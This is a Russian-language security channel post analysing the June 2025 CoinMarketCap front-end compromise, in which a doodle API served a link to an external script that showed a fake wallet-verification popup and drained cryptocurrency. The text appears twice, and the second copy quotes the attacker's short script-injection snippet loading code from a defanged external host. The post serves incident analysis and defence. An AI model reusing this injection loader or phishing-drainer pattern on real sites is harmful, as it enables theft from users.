Безопасность и безопасная разработка frontend-приложений. Актуальные риски и методы защиты современных js-приложений.
По всем вопросам @mkparfenov
Post #67
966
CoinMarketCap: вредоносный код на фронтенде украл у пользователей 43 000$ за 1 день
Даже если вы не можете сказать про себя "я работаю в криптовалюте" 💸, наверняка вы знаете сервис CoinMarketCap (coinmarketcap.com).
20 июня 2025 (пятница) 20:57 GMT, конец рабочей недели, на главной странице CoinMarketCap стало появляться всплывающее окно , призывающее пользователей «верифицировать свои кошельки», чтобы «сохранить полный доступ» к платформе. Если пользователь соглашался и нажимал нужные кнопки, начинал работать дрейнер 🦠, производилось похищение криптовалюты.
Вредоносный код пришел через "дудл"
Дудл (тематическая картинка рядом с логотипом, приуроченная к различным событиям/праздникам 📆) загружался динамически через запрос к внутреннему API https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5.
В какой-то момент API стало возвращать JSON со ссылкой на вредоносный скрипт 📱 на внешнем CDN ("lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json", который в свою очередь динамически добавлял на страницу еще один скрипт злоумышленника:
Этот скрипт показывал то самое всплывающее окно в стиле дизайна CoinMarketCap (frontend-фишинг 🤒). В процессе выполнения вредоносных действий также загружались дополнительные js-библиотеки с хоста blockassets[.]app.
Вектор атаки
Так как ссылка на инициирующий вредоносный скрипт возвращалась в ответе внутренней API функции, наиболее вероятно, что бэкенд был скомпрометирован 🤒 или вредонос был добавлен инсайдером 🪪 (сотрудники/подрядчики). CoinMarketCap признали факт инцидента, назвав его "уязвимостью, приводившей к непредвиденному всплывающему окну" 🙃, без раскрытия подробностей и заявили, что "теперь все безопасно и надежно".
Время присутствия: 1 день.
Похищенные средства у пользователей: > 43 000 💵
DPA Frontend Threat Modeling Framework:
🔹Вектор: T-3: Компрометация сервера приложения / T-21: Сотрудник умышленно разместил вредоносный js-код
🔹Способ реализации: T-43: Показ фишинговых форм привязки криптокошелька, T-45: Выполнение действий при клике по кнопке и другие, T-47: Вредоносный код выполняется только при определенных условиях/триггерах
@FrontSecOps
Даже если вы не можете сказать про себя "я работаю в криптовалюте" 💸, наверняка вы знаете сервис CoinMarketCap (coinmarketcap.com).
20 июня 2025 (пятница) 20:57 GMT, конец рабочей недели, на главной странице CoinMarketCap стало появляться всплывающее окно , призывающее пользователей «верифицировать свои кошельки», чтобы «сохранить полный доступ» к платформе. Если пользователь соглашался и нажимал нужные кнопки, начинал работать дрейнер 🦠, производилось похищение криптовалюты.
Вредоносный код пришел через "дудл"
Дудл (тематическая картинка рядом с логотипом, приуроченная к различным событиям/праздникам 📆) загружался динамически через запрос к внутреннему API https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5.
В какой-то момент API стало возвращать JSON со ссылкой на вредоносный скрипт 📱 на внешнем CDN ("lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json", который в свою очередь динамически добавлял на страницу еще один скрипт злоумышленника:
// Inject the malicious popup script
const script = document.createElement('script');
script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
document.head.appendChild(script);
Этот скрипт показывал то самое всплывающее окно в стиле дизайна CoinMarketCap (frontend-фишинг 🤒). В процессе выполнения вредоносных действий также загружались дополнительные js-библиотеки с хоста blockassets[.]app.
Вектор атаки
Так как ссылка на инициирующий вредоносный скрипт возвращалась в ответе внутренней API функции, наиболее вероятно, что бэкенд был скомпрометирован 🤒 или вредонос был добавлен инсайдером 🪪 (сотрудники/подрядчики). CoinMarketCap признали факт инцидента, назвав его "уязвимостью, приводившей к непредвиденному всплывающему окну" 🙃, без раскрытия подробностей и заявили, что "теперь все безопасно и надежно".
Время присутствия: 1 день.
Похищенные средства у пользователей: > 43 000 💵
DPA Frontend Threat Modeling Framework:
🔹Вектор: T-3: Компрометация сервера приложения / T-21: Сотрудник умышленно разместил вредоносный js-код
🔹Способ реализации: T-43: Показ фишинговых форм привязки криптокошелька, T-45: Выполнение действий при клике по кнопке и другие, T-47: Вредоносный код выполняется только при определенных условиях/триггерах
@FrontSecOps
- 👏 1











